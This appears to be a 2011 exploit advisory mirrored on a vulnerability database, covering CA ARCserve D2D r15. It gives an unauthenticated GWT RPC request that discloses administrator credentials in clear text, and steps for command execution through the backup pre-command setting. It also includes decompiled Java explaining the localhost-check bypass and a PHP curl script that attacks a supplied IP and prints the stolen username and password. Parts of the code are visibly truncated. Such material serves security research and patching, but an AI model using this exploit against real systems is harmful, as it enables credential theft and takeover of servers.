CA ARCserve D2D r15 GWT RPC Multiple Vulnerabilities

ID SSV:71904
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.

                                                # Exploit Title:CA ARCserve D2D r15 GWT RPC Request Auth Bypass / Credentials Disclosure and Commands Execution
# Google Dork: /
# Date: 25 July 2011
# Author: rgod
# Software Link: /
# Version: r15.0
# Tested on: Microsoft Windows Server 2003 r2 sp2
# CVE : none 
CA ARCserve D2D r15 GWT RPC Request Auth Bypass /
Credentials Disclosure and Commands Execution PoC

product homepage:

file tested:

tested against: Microsoft Windows Server 2003 r2 sp2

This software installs a Tomcat HTTP server which listens
on port 8014 for incoming connections (this port is also
added automatically to firewall exceptions to exhacerbate 
the vulnerability I am going to describe).
It uses a GWT RPC (Google Web Toolkit Remote Procedure
Call) mechanism to receive messages from the Administrator

Without prior authentication, a remote user with access
to the web server can send a POST request to the homepageServlet
serlvet containing the "getLocalHost" message and the correct
filename of a certain descriptor to disclose the
username and password of the target application.
This username and password pair are Windows credentials
with Administrator privileges, requested during
the ARCserve installation process (it clearly says this, an user
from the Administrators group).

This works with the mentioned software perfectly 
installed and configured and after the Administrator user 
logged in *one time each Tomcat session, logged out or not*
(which I think is easily exploitable against a production 
service running twenty four hours a day). You could also choose
to resend the request indefinetely, waiting for the Administrator
to be logged in.

Example packet:

POST /contents/service/homepage HTTP/1.1
Content-Type: text/x-gwt-rpc; charset=utf-8
User-Agent: GoogleBot/2.1
Content-Length: 149
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: donotshowgettingstarted=%7B%22state%22%3Atrue%7D


Note that '2C6B33BED38F825C48AE73C093241510' is a static value
which represents a filename of a gwt rpc descriptor which can be found inside the default path:

C:\Program Files\CA\ARCserve D2D\TOMCAT\webapps\ROOT\contents\2C6B33BED38F825C48AE73C093241510.gwt.rpc

Note also that this packet does not contain any session id.

Response packet:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Disposition: attachment
Content-Type: application/json;charset=utf-8
Content-Length: 480
Date: Wed, 13 Jul 2011 18:57:19 GMT

"user","Administrator","password","MY_PASSWORD","Protocol"],0,5] <--------------------

Clear text! Clear text!!!

Username -> Administrator
Password -> MY_PASSWORD

A remote attacker could then login to the affected application
then execute arbitrary commands with Administrator group privileges
in the following way:

Browse Backup settings;
Click Advanced tab;
Check "Run a command before backup is started";
Fill the white field with the desired command, ex. cmd /c start calc ;
Fill the credentials fields with the gained username and password
(you can use the same you had before);
Select an existing backup destination in the Protection Settings tab;
Browse to the main page and clicking "Backup Now";
Select Incremental Backup and press OK;
calc.exe is launched various times.

Other attacks are possible.

Vulnerable code and explaination:

web.xml :


the decompiled HomepageServiceImpl.class :

public TrustHostModel getLocalHost()
        throws BusinessLogicException, ServiceConnectException, ServiceInternalException
            TrustedHost trustedhost = getLocalWebServiceClient().getLocalHostAsTrust();
            TrustHostModel trusthostmodel = ConvertToModel(trustedhost);
            return trusthostmodel;
        catch(AxisFault axisfault)
        return null;

the decompiled WebServiceClient.class :

public TrustedHost getLocalHostAsTrust()
        throws AxisFault
        Object aobj[] = invokeWebMethod("getLocalHostAsTrust", new Object[0], new Class[] {  //<------------
        return (TrustedHost)aobj[0];

a request to the FlashServiceImpl Axis2 Web Service is originated
note that the ip address originating the request is now!!!
So you are using the GWT RPC endpoint as a proxy for the mentioned
web service ...

from the decompiled FlashServiceImpl.class:

 public TrustedHost getLocalHostAsTrust()
        throws AxisFault
        checkSession(); <--------------------
            return CommonService.getInstance().getLocalHostAsTrust();
        catch(Throwable throwable)
            logger.error(throwable.getMessage(), throwable);
        throw new AxisFault("Unhandled exception in web service", FlashServiceErrorCode.Common_ErrorOccursInService);

the checkSession() function is called but now I show you because it is bypassed,
again from the decompiled FlashServiceImpl.class:

private void checkSession()
        throws AxisFault
        MessageContext messagecontext = MessageContext.getCurrentMessageContext();
        Object obj = messagecontext.getProperty(HTTPConstants.MC_HTTP_SERVLETREQUEST);
        if(obj != null && (obj instanceof HttpServletRequest))
            HttpServletRequest httpservletrequest = (HttpServletRequest)obj;
            HttpSession httpsession = httpservletrequest.getSession(true);
            if(checkLocalHost(httpservletrequest.getRemoteAddr(), true)) //<--------------------------------
            if(httpsession.getAttribute("") == null && httpsession.getAttribute("") == null)
                throw new AxisFault("Service session timeout", FlashServiceErrorCode.Common_ServiceSessionTimeout);

the checkLocalHost() function is called, this check means 
"if the ip address originating the request is localhost then
do not check the session but go on". 

look to checkLocalHost() and to initializeIPList() functions inside FlashServiceImpl.class:
 private boolean checkLocalHost(String s, boolean flag)
        logger.debug((new StringBuilder()).append("checkLocalHost begin, host:").append(s).append(", localCall:").append(flag).toString());
        if(localhostIPList == null)
        if(s == null || s.length() == 0)
            return false;
        s = s.trim();
            logger.debug((new StringBuilder()).append("localhostIPList size:").append(localhostIPList.size()).toString());
            String s1;
            for(Iterator iterator = localhostIPList.iterator(); iterator.hasNext(); logger.debug((new StringBuilder()).append("LocalHost:").append(s1).toString()))
                s1 = (String);

        boolean flag1 = false;
        Iterator iterator1 = localhostIPList.iterator();
            String s2 = (String);
            flag1 = true;
        } while(true);
        logger.debug((new StringBuilder()).append("checkLocalHost end, isLocal:").append(flag1).toString());
        return flag1;

    private static synchronized void initializeIPList()
        if(localhostIPList != null)
        localhostIPList = new ArrayList();
        localhostIPList.add("localhost"); //<-------------------------
        localhostIPList.add(""); //<-------------------------
            InetAddress inetaddress = InetAddress.getLocalHost();
            String s = inetaddress.getHostAddress();
            String s1 = inetaddress.getHostName();
            if(s != null && !localhostIPList.contains(s))
            if(s1 != null && !localhostIPList.contains(s1))
            String s2 = inetaddress.getCanonicalHostName();
            if(s2 != null)
                int i = s2.indexOf('.');
                if(i > 0)
                    localhostIPList.add((new StringBuilder()).append("localhost").append(s2.substring(i)).toString());
        catch(Exception exception)
            logger.error("InetAddress error:", exception);
            Enumeration enumeration = NetworkInterface.getNetworkInterfaces();
            if(enumeration != null)
                    NetworkInterface networkinterface = (NetworkInterface)enumeration.nextElement();
                    Enumeration enumeration1 = networkinterface.getInetAddresses();
                        InetAddress inetaddress1 = (InetAddress)enumeration1.nextElement();
                        String s3 = inetaddress1.getHostAddress();
                        if(s3 != null && !localhostIPList.contains(s3))
        catch(Exception exception1)
            logger.error("NetworkInterface error:", exception1);

a match is performed against the localhostIPList array then the web service
cannot know which is the real ip address of the remote user but thinks it is ! 

again, from the decompiled HomepageServiceImpl.class :

private TrustHostModel ConvertToModel(TrustedHost trustedhost)
        TrustHostModel trusthostmodel = new TrustHostModel();
        return trusthostmodel;

this prepares the output, returning the object properties previously used to store the 
admin credentials.

The following code can be used to disclose them, you can perform post-auth commands
execution by browsing the target application and act as described.
    error_reporting(E_ALL ^ E_NOTICE);     
	$err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";

    if (php_sapi_name() <> "cli") {
	function syntax() {
       print("usage: php 9sg_ca_d2d.php [ip_address]\r\n" );
	$argv[1] ? print("[*] Attacking...\n") :
	if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
        if ($win) {
            !dl("php_curl.dll") ? die($err[1]) :
             print("[*] curl loaded\n");
        } else {
            !dl("") ? die($err[1]) :
             print("[*] curl loaded\n");
    function _s($url, $is_post, $ck, $request) {
        global $_use_proxy, $proxy_host, $proxy_port;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        if ($is_post) {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            "Cookie: donotshowgettingstarted=%7B%22state%22%3Atrue%7D;".$ck ,
            "Content-Type: text/x-gwt-rpc; charset=utf-8;"
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Jakarta Commons-HttpClient/3.1");
        curl_setopt($ch, CURLOPT_TIMEOUT, 0);
        if ($_use_proxy) {
            curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
        $_d = curl_exec($ch);
        if (curl_errno($ch)) {
            //die("[!] ".curl_error($ch)."\n");
        } else {
        return $_d;
          $host = $argv[1];
          $port = 8014;

$url = "http://$host:$port/contents/service/homepage";
$out = _s($url, 1, "", $rpc);
if (strpos($out,"The call failed on the server;") or (!strpos($out,"200 OK"))){
  print("[!] Error, maybe patched or admin never logged in. See output...\n");
else {
print("Username: ".$usr."\n");
print("Password: ".$pwd."\n");